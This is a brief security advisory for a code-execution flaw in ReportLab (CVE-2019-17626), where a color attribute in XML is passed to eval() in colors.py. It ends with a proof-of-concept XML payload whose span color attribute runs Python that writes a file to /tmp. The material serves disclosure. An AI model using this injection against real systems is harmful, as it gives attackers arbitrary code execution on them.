XML injection in ReportLab

#VU24685 XML injection in ReportLab

Published: 2020-01-27

Vulnerability identifier: #VU24685

Vulnerability risk: High

CVSSv3.1: 8.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C]

CVE-ID: CVE-2019-17626

CWE-ID: CWE-91

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
ReportLab
Client/Desktop applications / Office applications

Vendor: ReportLab, Inc.

Description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to the affected software does not properly handle user-supplied XML files within the "toColor(eval(arg))" in colors.py. A remote unauthenticated attacker can execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

PoC:

<myroot>
    <label>hello-world</label>
    <row1>
            <html>
                <span color="open('/tmp/colors_poc.txt','wb').write('hello world!')">abcdef</span>
            </html>
    </row1>
</myroot>